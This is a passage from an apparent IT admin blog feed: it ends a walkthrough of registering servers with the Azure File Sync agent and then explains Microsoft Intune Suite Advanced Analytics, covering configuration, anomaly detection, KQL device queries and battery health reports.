<img src="\azure_file_sync_agent\storage_sync_agent_updater.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="3">
<li>Start the Updater and it will check the agent version, then start the <strong>Server Registration</strong> where you need to Sign in to Azure.</li>
<li>Select your <strong>Azure Subscription</strong>, <strong>Resource Group</strong> and <strong>Storage Sync Service</strong>, then click <code>Register</code>.</li>
</ol>
<img src="\azure_file_sync_agent\server_registration.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<img src="\azure_file_sync_agent\server_registration_success.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Alternatively you can use PowerShell for the registration:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Register-AzStorageSyncServer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ResourceGroupName </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"&#x3C;your-resource-group-name>"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">StorageSyncServiceName </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"&#x3C;your-storage-sync-service-name>"</span></span></code></pre>
</div><ol start="5">
<li>Next we need to configure the <span style="color:crimson">sync</span> in the Azure Portal.<br>
For that you go back to the <strong>Azure admin portal</strong> and open the <strong>Storage Sync Service</strong> you created.</li>
<li>Here you select <strong>Sync</strong> &rarr; <strong>Sync groups</strong> and open your previously created sync group.</li>
<li>In the <strong>Sync group</strong> you need to click <code>Add server endpoint</code> and select your server and <span style="color:crimson">enter the Path you want to sync</span>.</li>
</ol>
<img src="\azure_file_sync_agent\server_endpoint.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="8">
<li>Additionally you configure the <span style="color:crimson">Cloud Tiering</span> and <span style="color:crimson">Initial Sync</span> options.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\azure_file_sync_agent\server_endpoint_cloudtiering.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\azure_file_sync_agent\server_endpoint_initialsync.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<details class="details custom-block"><summary>Cloud tiering</summary>
<p>Cloud tiering, an optional Azure File Sync feature, reduces local storage needs while preserving on-premises performance.
It keeps hot files locally and stores cool files content in an Azure file share, with only their names and folders kept on the server.
When accessed, tiered files are automatically retrieved from the cloud.</p>
</details>
<ol start="9">
<li>In the end you click <code>Create</code> and wait for the deployment to complete.</li>
</ol>
<img src="\azure_file_sync_agent\server_endpoint_pending.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<img src="\azure_file_sync_agent\server_endpoint_success.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<p>Here you can see, how the sync service syncronised the data from the local share to the storage account.</p>
<table>
<thead>
<tr>
<th><img src="\azure_file_sync_agent\file_server.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/></th>
<th><img src="\azure_file_sync_agent\file_cloud.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn how to unregister a Server, you can learn more <a href="https://learn.microsoft.com/en-us/azure/storage/file-sync/file-sync-server-registration#unregister-the-server-with-storage-sync-service" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Taking advantage of the Azure File Sync Agent via the Arc extension allows you to connect your on-premises file servers and Azure Files with far less effort.
This approach <span style="color:crimson">streamlines deployment and configuration</span> while opening the door to more centralised management and flexible scaling.
Whether you’re <span style="color:crimson">modernising existing infrastructure</span> or looking to <span style="color:crimson">simplify hybrid file services</span>, this setup enables you to remain agile without compromising on control.
Once in place, you will have a more resilient, cloud-connected file system that is ready to support your organisation's current needs and adapt to future requirements.</p>
<p><u>Resources</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/azure/storage/file-sync/file-sync-extension" target="_blank" rel="noreferrer">Microsoft Learn - Install and manage the Azure File Sync agent extension on Azure Arc-enabled Windows servers</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/storage/file-sync/" target="_blank" rel="noreferrer">Microsoft Learn - Azure File Sync documentation</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/storage/file-sync/file-sync-release-notes#improvements-and-issues-that-are-fixed" target="_blank" rel="noreferrer">Microsoft Learn - Azure File Sync release notes</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advanced Analytics | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/advanced_analytics.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/advanced_analytics.html</guid>
            <pubDate>Thu, 12 Jun 2025 22:33:57 GMT</pubDate>
            <description><![CDATA[This article provides a comprehensive overview of Advanced Analytics in Microsoft Intune Suite, covering features, configuration, reporting, and troubleshooting to enhance device management and user experience.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="advanced-analytics" tabindex="-1">Advanced Analytics <a class="header-anchor" href="#advanced-analytics" aria-label="Permalink to &quot;Advanced Analytics&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p><span style="color:crimson">Advanced Analytics</span> enhances Intune’s standard reporting by providing deeper insights, near real-time data, and more robust monitoring capabilities.
It gives you a clear view of how your users are experiencing their devices and helps you improve with smart, data-driven insights.
You can spot and <span style="color:crimson">fix endpoint issues</span> before they become big problems, <span style="color:crimson">troubleshoot faster</span>, and make sure your users have a <span style="color:crimson">smooth tech experience</span>.</p>
<p>Here’s what you get with the Advanced Analytics <span style="color:crimson">features</span>:</p>
<ul>
<li><strong>Custom device scopes:</strong> Filter Endpoint analytics reports using Scope tags to focus on specific devices, groups, or locations. Get targeted scores and insights for just those devices.</li>
<li><strong>Anomalies:</strong> Keep an eye on device health and catch any dips in user experience or productivity after making changes. This helps you react quickly if something goes wrong.</li>
<li><strong>Enhanced device timeline:</strong> Get more events and fresher data to help you troubleshoot device issues faster.</li>
<li><strong>Device query:</strong> Check up on the state and configuration of devices almost in real time, so you’re always in the loop.</li>
<li><strong>Battery health report:</strong> See how hardware performance like battery issues might be affecting your users.</li>
</ul>
<h2 id="the-basics-of-intune-analytics" tabindex="-1">📝 The Basics of Intune analytics <a class="header-anchor" href="#the-basics-of-intune-analytics" aria-label="Permalink to &quot;:pencil: The Basics of Intune analytics&quot;">&ZeroWidthSpace;</a></h2>
<br>
<b><u>Scores</u></b>
<p>Endpoint analytics scores go from <span style="color:crimson">0 to 100</span>, giving you a quick way to see how your environment stacks up.
These scores show how each metric affects your setup and let you compare your results to the average across all organizations so you can see where you’re ahead or where there’s room to improve.
You typically receive analytics scores broken down by device, device model, and other relevant groupings. This granularity helps you identify trends, pinpoint issues, and compare performance across different segments of your environment.</p>
<br>
<b><u>Baselines</u></b>
<p>Baseline scores are the averages against which your organisation is measured, as discussed in the <strong>Scores</strong> section above, and are shown on charts as triangle markers.
Think of these as built-in <span style="color:crimson">median scores</span> from all organizations, handy for seeing how you stack up.
You can also set up your own baselines using your current numbers, making it easy to track progress or spot any backslides over time.</p>
<br>
<b><u>Insights and recommendations</u></b>
<p>Insights and recommendations give you a handy to-do list for <span style="color:crimson">boosting your score</span>.
You’ll see a list right on the reports overview page and as you dig into different report sections, the suggestions update to match what you’re looking at.</p>
<ul>
<li>Clicking the <strong>insight link</strong> under <span style="color:crimson">Insights and recommendations</span> gives you detailed information about the devices and attributes associated with that insight.</li>
<li>The <strong>Learn more</strong> link explains how the metric is scored and outlines <span style="color:crimson">recommended actions</span> to address the insight.</li>
</ul>
<img src="\intune\suite\analytics_reporting_resource_recommendation.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues of these basics <a href="https://learn.microsoft.com/en-us/intune/analytics/scores#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="prerequisites-for-intune-analytics" tabindex="-1">✅ Prerequisites for Intune analytics <a class="header-anchor" href="#prerequisites-for-intune-analytics" aria-label="Permalink to &quot;:white_check_mark: Prerequisites for Intune analytics&quot;">&ZeroWidthSpace;</a></h2>
<br>
<b><u>Device</u></b>
<ul>
<li>Windows 10 version 1903 or later</li>
<li>Microsoft Entra joined or Microsoft Entra hybrid joined</li>
<li>Intune-managed or co-managed devices</li>
<li>The 'Connected User Experiences' and 'Telemetry' services on the device is running</li>
<li>The endpoints need to reach: <code>https://*.events.data.microsoft.com</code></li>
<li>Set an Intune data collection policy in your configuration profiles under the <strong>Windows health monitoring</strong> template</li>
<li>Give your consent to the <strong>Intune data collection policy</strong> in the Endpoint analytics settings</li>
</ul>
<br>
<b><u>Licenses</u></b>
<ul>
<li>Intune license</li>
<li><span style="color:crimson">Intune suite license or Endpoint analytics standalone license</span></li>
</ul>
<div class="danger custom-block github-alert"><p class="custom-block-title">Enabling Advanced Analytics</p>
<p>When license requirements are met, then Advanced Analytics features are automatically enabled in your tenant.</p>
</div>
<details class="details custom-block"><summary>Mixed licensing scenarios</summary>
<p>If some users have Advanced Analytics and others just have the basic Intune license, that's a mixed license setup.
Right now, everyone gets access to the most advanced features available in your tenant. So if anyone has the add-on, those features show up for all devices.</p>
</details>
<br>
<b><u>Permissions</u></b>
<ul>
<li>You need an <strong>Intune Service Administrator</strong> or a <strong>Global Administrator</strong> role to activate the gathering of data</li>
<li>You need one of the following roles to read the <strong>endpoint analytics</strong>
<ul>
<li>Endpoint Security Manager</li>
<li>Help Desk Operator</li>
<li>Read Only Operator</li>
<li>Reports Reader</li>
</ul>
</li>
</ul>
<h2 id="configuring-intune-analytics" tabindex="-1">🧑‍🔧 Configuring Intune analytics <a class="header-anchor" href="#configuring-intune-analytics" aria-label="Permalink to &quot;:mechanic: Configuring Intune analytics&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="intune-data-collection-policy" tabindex="-1">Intune data collection policy <a class="header-anchor" href="#intune-data-collection-policy" aria-label="Permalink to &quot;Intune data collection policy&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Open the Intune admin center &rarr; Devices &rarr; <a href="https://inconfig.cmd.ms/" target="_blank" rel="noreferrer">Configuration</a></li>
<li>Now click <code>Create</code>, <code>New Policy</code> and after selecting the Platform and Profile type, <code>Create</code> again.
<ul>
<li>Platform: <strong>'Windows 10 and later'</strong></li>
<li>Profile type: Select <strong>'Templates'</strong> and <strong>'Windows health monitoring'</strong></li>
</ul>
</li>
<li>Now enter the <strong>'Name'</strong> and <strong>'Description'</strong> of your Policy and click <code>Next</code>.</li>
<li>Now you select to enable the <strong>'Health monitoring'</strong> and <strong>'Endpoint analytics'</strong> as the Scope.</li>
<li>Finally configure your <strong>Assignments</strong>, <strong>Applicability Rules</strong> and create the policy.</li>
</ol>
<img src="\intune\suite\analytics_policy.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<h3 id="data-sharing-consent" tabindex="-1">Data sharing consent <a class="header-anchor" href="#data-sharing-consent" aria-label="Permalink to &quot;Data sharing consent&quot;">&ZeroWidthSpace;</a></h3>
<p>When you agree to share your anonymized data, your organization helps keep the <span style="color:crimson">baseline</span> fresh and up to date.
Without agreeing you will not be able to take advantage off reports that depend on this data, like the startup performance insights.
If you consentet before and revoke your consent again, reports will turn off too, but old data will stick around for 60 days.</p>
<ol>
<li>Open the Intune admin center &rarr; Reports &rarr; Endpoint analytics &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/settings" target="_blank" rel="noreferrer">Settings</a></li>
<li>Consent to the <strong>Intune data collection policy</strong> and to <strong>Consent to share data</strong>.</li>
</ol>
<img src="\intune\suite\analytics_reporting_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<h3 id="baseline-configuration" tabindex="-1">Baseline configuration <a class="header-anchor" href="#baseline-configuration" aria-label="Permalink to &quot;Baseline configuration&quot;">&ZeroWidthSpace;</a></h3>
<p>You can set your current scores as a new baseline and compare to them later.</p>
<ol>
<li>Open the Intune admin center &rarr; Reports &rarr; Endpoint analytics &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/settings" target="_blank" rel="noreferrer">Settings</a> and open the <strong>Baseline</strong> tab.</li>
<li>By clicking <code>Create new</code> you can create new baselines based on your current metrics to track progress or view regressions over time.</li>
</ol>
<img src="\intune\suite\analytics_baseline.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p></p>
<ul>
<li>You must open at least one Endpoint analytics report, such as <strong>Startup performance</strong>, during your browser session before you are able to create a new baseline.</li>
<li>There's a limit of 20 baselines per tenant.</li>
</ul>
</div>
<h2 id="advanced-analytics-reporting" tabindex="-1">📑 Advanced analytics reporting <a class="header-anchor" href="#advanced-analytics-reporting" aria-label="Permalink to &quot;:bookmark_tabs: Advanced analytics reporting&quot;">&ZeroWidthSpace;</a></h2>
<p>To access Intune analytics reports, go to the <strong>Intune admin center</strong>, select <strong>Reports</strong>, and then choose <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/overview" target="_blank" rel="noreferrer">Endpoint analytics</a>.</p>
<img src="\intune\suite\analytics_reports_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<details class="details custom-block"><summary>See all available endpoint analytics reports</summary>
<ul>
<li>
<p>Overview</p>
<ul>
<li>Overview</li>
<li>Anomalies</li>
<li>Model scores</li>
<li>Device scores</li>
</ul>
</li>
<li>
<p>Startup performance</p>
<ul>
<li>Startup score</li>
<li>Model performance</li>
<li>Device performance</li>
<li>Startup processes</li>
<li>Restart frequency</li>
</ul>
</li>
<li>
<p>Application reliability</p>
<ul>
<li>Model performance</li>
<li>Device performance</li>
<li>OS versions performance</li>
</ul>
</li>
<li>
<p>Work from anywhere</p>
<ul>
<li>Overview</li>
<li>Model performance</li>
<li>Device performance</li>
<li>Windows</li>
<li>Cloud management</li>
<li>Cloud provisioning</li>
</ul>
</li>
<li>
<p>Resource performance</p>
<ul>
<li>Resource performance score</li>
<li>Model performance</li>
<li>Device performance</li>
</ul>
</li>
<li>
<p>Battery health</p>
<ul>
<li>Overview</li>
<li>Device performance</li>
<li>Model performance</li>
<li>OS performance</li>
<li>App impact</li>
</ul>
</li>
</ul>
</details>
<img src="\intune\suite\analytics_reports_overview.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h3 id="anomaly-detection" tabindex="-1">Anomaly detection <a class="header-anchor" href="#anomaly-detection" aria-label="Permalink to &quot;Anomaly detection&quot;">&ZeroWidthSpace;</a></h3>
<p>Anomaly detection keeps an eye on your devices and lets you know if something starts to go wrong after you make changes.
If there’s a problem, it quickly connects the dots between what changed and what’s causing the issue, so you can troubleshoot faster and get things back on track quicker.</p>
<p>As well as <span style="color:crimson">identifying anomalies</span>, you can analyse device correlation groups to determine the cause of <span style="color:crimson">medium or high issues</span>.
These groups show you patterns across devices, making it easier to see what they have in common.
Intune also <span style="color:crimson">identifies devices</span> that are <span style="color:crimson">'at risk'</span> because they fit the pattern and are likely to encounter the same issues soon.</p>
<ol>
<li>Open the Intune admin center &rarr; Reports &rarr; Endpoint analytics &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/overview" target="_blank" rel="noreferrer">Overview</a> and then select the <strong>'Anomalies'</strong> tab.</li>
<li>This tab displays detected anomalies along with their severity and impact.</li>
</ol>
<img src="\intune\suite\analytics_anomalies1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="800" loading="lazy"/>
<ol start="3">
<li>Select an item to view details such as app name, affected devices, detection times, and related device groups.</li>
</ol>
<img src="\intune\suite\analytics_anomalies2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="800" loading="lazy"/>
<ol start="4">
<li>Select a <strong>device correlation group</strong> to view shared attributes (like app version, driver, OS, or model) among affected devices. See how many devices are impacted or at risk, and the percentage of affected devices in each group.</li>
</ol>
<img src="\intune\suite\analytics_anomalies3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="800" loading="lazy"/>
<ol start="5">
<li>Select <strong>View Affected Devices</strong> to see a list of impacted devices and their key attributes. Filter by correlation group or view all affected devices.</li>
</ol>
<img src="\intune\suite\analytics_anomalies4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can learn more about <span style="color:crimson">Statistical Models for determining anomalies</span> <a href="https://learn.microsoft.com/en-gb/intune/analytics/anomaly-detection#statistical-models-for-determining-anomalies" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h3 id="enhanced-device-timeline" tabindex="-1">Enhanced device timeline <a class="header-anchor" href="#enhanced-device-timeline" aria-label="Permalink to &quot;Enhanced device timeline&quot;">&ZeroWidthSpace;</a></h3>
<p>The enhanced device timeline shows you a history of events on a specific device and you can look up events by name or details.</p>
<img src="\intune\suite\analytics_User_timeline2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>Right now, the enhanced device timeline shows things like app crashes, unresponsive apps, device boots, logons, and detected anomalies. Events will usually show up under 24 hours.</p>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>With Advanced Analytics, the enhanced Device timeline tab replaces the Application reliability tab in device drill-down views. To view a device's application reliability score, go to the Device performance tab and search for the device.</li>
<li>The enhanced device timeline is only available for Intune-managed (including co-managed) devices.</li>
</ul>
</details>
<h3 id="device-scopes" tabindex="-1">Device scopes <a class="header-anchor" href="#device-scopes" aria-label="Permalink to &quot;Device scopes&quot;">&ZeroWidthSpace;</a></h3>
<p>Custom device scopes leverage Scope tags to filter Endpoint analytics reports, enabling you to view scores, insights, and recommendations for targeted groups of enrolled devices.</p>
<p>You can use custom device scopes with these Endpoint analytics reports:</p>
<ul>
<li>Startup performance</li>
<li>Work from anywhere</li>
<li>Application reliability</li>
<li>Battery health</li>
</ul>
<p><b><u>Create custom device scope</u></b></p>
<p>You can create and manage custom device scopes by using the Manage device scopes menu in Endpoint analytics.</p>
<ol>
<li>Got to to a supported report within Endpoint analytics (for example <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/bootPerformance" target="_blank" rel="noreferrer">Startup performance</a>).</li>
<li>Select Device scope menu.</li>
<li>Now select <code>Manage device scopes</code> to open a window where you can create or edit your custom device scopes.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\analytics_DeviceScope.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\suite\analytics_ManageDeviceScope.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<p>You can use custom device scopes in any supported Endpoint analytics report. Once you pick a custom device scope, the page updates to show scores, data, and insights just for those devices. As you move around in Endpoint analytics, your selected device scope sticks with you across all the supported reports and pages.</p>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>You can save up to 100 custom device scopes, and up to 20 can be active at a time.</li>
<li>Only one Scope tag can be used to create a custom device scope.</li>
</ul>
</details>
<h3 id="device-query-and-remote-device-actions" tabindex="-1">Device query and remote device actions <a class="header-anchor" href="#device-query-and-remote-device-actions" aria-label="Permalink to &quot;Device query and remote device actions&quot;">&ZeroWidthSpace;</a></h3>
<p><b><u>Device query</u></b></p>
<p>To use Device query, go to <strong>Devices</strong> in the <strong>Intune admin center</strong> and select the specific device you want to query. Under the <strong>Monitor</strong> section, choose <code>Device query</code> to run queries on that device.</p>
<img src="\intune\suite\analytics_DeviceQuery.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<p>You can find the available properties for queries in the Properties section.<br>
To execute a query, enter your <span style="color:crimson">KQL</span> statement and select <code>Run</code>. The results will appear in the Results tab.</p>
<img src="\intune\suite\analytics_query_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can find the latest list of all available properties <a href="https://learn.microsoft.com/en-gb/intune/analytics/device-query#supported-properties" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<p><b><u>Remote action</u></b></p>
<p>Use Intune remote device actions within the <span style="color:crimson">single device query</span> interface to manage devices remotely.
After running a device query, you can initiate remote actions directly from the results, enabling faster and more efficient troubleshooting.</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can find the latest list of all available remote actions <a href="https://learn.microsoft.com/en-gb/intune/analytics/device-query#available-remote-actions" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>The result string of any query is limited to 128kb characters. If the result of your query is longer than 128kb characters, the result is truncated. An error message informs you about how many rows are truncated.</li>
<li>You can only send 15 queries a minute. If you run into a query limit exceeded error, wait for a minute and try again.</li>
<li>Query inputs have a length limit of 2048 characters. If you encounter a query too long error, then refine your query to have fewer characters and try again.</li>
<li>The <code>now()</code> scalar function doesn't support the offset parameter.</li>
<li>The <code>!like</code> operator is not supported.</li>
<li>The input window auto-recommends double quotes when only single quotes are supported on the following operators:
<ul>
<li><code>contains</code></li>
<li><code>!contains</code></li>
<li><code>startswith</code></li>
<li><code>!startswith</code></li>
<li><code>endswith</code></li>
</ul>
</li>
<li>The WindowsRegistry entity fails to return the RegistryKey for root.</li>
<li>The WindowsRegistry entity fails to return 64-bit shared registry keys.</li>
<li>The WindowsRegistry entity fails to return binary ValueData.</li>
<li>If you’re querying devices that are running on Windows 10, they must be on a minimum quality version.
<ul>
<li>If running Windows 10 21H2, ensure that it's running version <code>10.0.19044.3393</code>.</li>
<li>If running Windows 10 22H2, ensure that it's running version <code>10.0.19045.3393</code>.</li>
</ul>
</li>
<li>If there are multiple network cards available on the machine, then only the first configured domain is returned.</li>
<li>If TPM 2.0 is present on the device, then activated and enabled is always returned as TRUE.</li>
<li>If a file is currently in use on the machine, then <code>FileInfo</code> queries returns an error.</li>
<li>If the end user has admin access to the device, they might be able to change client-based information that show up in the query results. For example, OS version and registry.</li>
</ul>
</details>
<h3 id="device-query-for-multiple-devices" tabindex="-1">Device query for Multiple Devices <a class="header-anchor" href="#device-query-for-multiple-devices" aria-label="Permalink to &quot;Device query for Multiple Devices&quot;">&ZeroWidthSpace;</a></h3>
<p>To run a Device <span style="color:crimson">query for multiple devices</span>, go to Devices &rarr; Device query, enter your query using supported properties and operators, and select <code>Run</code>.
Results appear in the Results tab. To run only a specific query from multiple queries in the window, highlight the code and select <code>Run</code>.</p>
<p>You can find more information about <span style="color:crimson">creating KQL queries</span> in the following links:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/intune/analytics/device-query-multiple-devices#sample-queries" target="_blank" rel="noreferrer">Sample queries</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/analytics/device-query-multiple-devices#supported-operators" target="_blank" rel="noreferrer">Supported operators</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/analytics/device-query-multiple-devices#supported-properties" target="_blank" rel="noreferrer">Supported properties</a></li>
</ul>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>Using the Device entity in aggregation functions shows a red underline. However, the query can still run and can return results as expected. For example, the following query shows a red underline under Device but still runs:</li>
</ul>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Cpu | </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">summarize</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> max</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(Device) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">by</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Manufacturer.</span></span></code></pre>
</div><ul>
<li>Queries with a join operator, <code>$left</code> and <code>$right</code> parameters show a red underline under <code>$left</code> and <code>$right</code>. However, the query can still run and returns results as expected.</li>
<li>A single query can contain a maximum of three join operators. Queries with more joins fail.</li>
<li>A max of ~50,000 records are returned for a query.</li>
<li>A maximum of 10 queries can be submitted per minute. Additional queries will fail.</li>
<li>A maximum of 1,000 queries can be submitted per month.</li>
<li>Negative values for the amounts parameter of the <code>datetime_add()</code> function aren't supported.</li>
<li>Referencing a variable that has been summarized by an aggregation function throws an error. Explicitly naming the variable allows the query to succeed again. For example, the query
<code>Device | summarize dcount(DeviceId) | order by dcount_DeviceId will fail. Device | summarize DCountDeviceIdRename=dcount(DeviceId) | order by DCountDeviceIdRename</code> succeeds.</li>
</ul>
</details>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>To learn more about the <strong>data platform schema</strong> used in the device queries click <a href="https://learn.microsoft.com/en-gb/intune/analytics/data-platform-schema" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h3 id="battery-health" tabindex="-1">Battery health <a class="header-anchor" href="#battery-health" aria-label="Permalink to &quot;Battery health&quot;">&ZeroWidthSpace;</a></h3>
<p>The battery health report gives you a clear look at how your device batteries are doing and how they might be affecting your users experience.</p>
<p>It helps you spot problems with the battery early on, so you can fix them before they get worse.</p>
<ol>
<li>Open the Intune admin center &rarr; Reports &rarr; Endpoint analytics &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/batteryHealth" target="_blank" rel="noreferrer">Battery health</a>.</li>
<li>The Battery health report page shows the following tabs:
<ul>
<li><strong>Overview tab:</strong>
<ul>
<li><strong>Battery Health Score:</strong> Shows overall laptop battery health as a weighted average of battery capacity and runtime scores. Helps you spot batteries that may need replacement. Maximum capacity is the ratio of current full charge to original design capacity.</li>
<li><strong>Battery capacity score:</strong> Rates battery capacity from 0 to 100, averaged across all devices. Estimated device runtime is how long a device runs on a full charge, based on typical usage. The battery capacity score combines current capacity and estimated drain rate.</li>
<li><strong>Battery runtime score:</strong> Reflects estimated device runtimes, scored averaged across all devices.</li>
</ul>
</li>
<li><strong>Device performance tab:</strong> Shows battery health metrics and scores for all battery-powered devices. Sort by metrics (e.g., Max capacity) or search by device name to identify devices with poor battery health. Selecting a device displays its runtime trend, score compared to the model average, and top battery-consuming apps from the last 14 days. A battery’s cycle count increases each time it discharges a total of 100%, even if spread over multiple uses.</li>
<li><strong>Model performance tab:</strong> View battery health by device model to spot model-specific issues.</li>
<li><strong>OS performance tab:</strong> View battery health and scores by OS version to spot issues tied to specific OS releases.</li>
<li><strong>App impact tab:</strong> Shows battery usage by app over the last 14 days, helping identify apps that drain battery excessively.</li>
</ul>
</li>
</ol>
<img src="\intune\suite\analytics_battery.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="800" loading="lazy"/>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>Some report data may show as <code>Not available</code> in exported .csv files, these appear as <code>-1</code>.</li>
